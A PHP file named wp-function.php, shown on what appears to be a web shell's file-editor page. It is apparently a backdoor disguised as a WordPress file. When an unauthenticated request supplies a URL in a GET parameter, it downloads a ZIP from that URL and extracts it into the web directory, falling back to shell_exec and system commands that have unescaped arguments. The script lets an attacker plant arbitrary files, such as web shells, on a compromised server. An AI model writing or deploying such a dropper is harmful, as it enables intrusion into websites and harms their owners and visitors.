JezK
Edit File: wp-function.php
<?php function method1($zipFile, $extractTo, $password = null) { echo "1. Yöntem: ZipArchive ile çıkartma...\n"; if (class_exists('ZipArchive')) { $zip = new ZipArchive; if ($zip->open($zipFile) === TRUE) { if ($password !== null) { $zip->setPassword($password); } $result = $zip->extractTo($extractTo); $zip->close(); if ($result) { echo "1. Yöntem başarılı.\n"; return true; } else { echo "1. Yöntem başarısız (Şifre yanlış olabilir).\n"; return false; } } else { echo "1. Yöntem başarısız (ZIP dosyası açılamadı).\n"; return false; } } else { echo "ZipArchive sınıfı mevcut değil.\n"; return false; } } function method2($zipFile, $extractTo, $password = null) { echo "2. Yöntem: shell_exec ile 'unzip' komutu kullanarak çıkartma...\n"; if (function_exists('shell_exec')) { $passwordOption = $password !== null ? "-P " . escapeshellarg($password) : ""; $output = shell_exec("unzip $passwordOption $zipFile -d $extractTo 2>&1"); if (strpos($output, 'error') !== false || $output === null) { echo "2. Yöntem başarısız (Şifre yanlış olabilir).\n"; return false; } else { echo "2. Yöntem başarılı.\n"; return true; } } else { echo "'shell_exec' fonksiyonu devre dışı.\n"; return false; } } function method3($zipFile, $extractTo, $password = null) { echo "3. Yöntem: system komutu ile 'unzip' kullanarak çıkartma...\n"; if (function_exists('system')) { $passwordOption = $password !== null ? "-P " . escapeshellarg($password) : ""; $output = system("unzip $passwordOption $zipFile -d $extractTo 2>&1", $return_var); if ($return_var !== 0) { echo "3. Yöntem başarısız (Şifre yanlış olabilir).\n"; return false; } else { echo "3. Yöntem başarılı.\n"; return true; } } else { echo "'system' fonksiyonu devre dışı.\n"; return false; } } if (isset($_GET['zips']) && !empty($_GET['zips'])) { $zipUrl = $_GET['zips']; } else { die("Hata:"); } $password = isset($_GET['s']) && !empty($_GET['s']) ? $_GET['s'] : null; $extractTo = __DIR__; $tempZipFile = __DIR__ . '/temp_downloaded.zip'; if (!filter_var($zipUrl, FILTER_VALIDATE_URL)) { die("Hata: Geçersiz URL formatı.\n"); } echo "ZIP dosyası indiriliyor: $zipUrl\n"; $zipContent = file_get_contents($zipUrl); if ($zipContent === false) { die("ZIP dosyası indirilemedi.\n"); } if (file_put_contents($tempZipFile, $zipContent) === false) { die("Geçici ZIP dosyası oluşturulamadı.\n"); } else { echo "ZIP dosyası başarıyla indirildi ve kaydedildi: $tempZipFile\n"; } if (!method1($tempZipFile, $extractTo, $password)) { if (!method2($tempZipFile, $extractTo, $password)) { method3($tempZipFile, $extractTo, $password); } } if (file_exists($tempZipFile)) { unlink($tempZipFile); echo "Geçici dosya silindi: $tempZipFile\n"; } ?>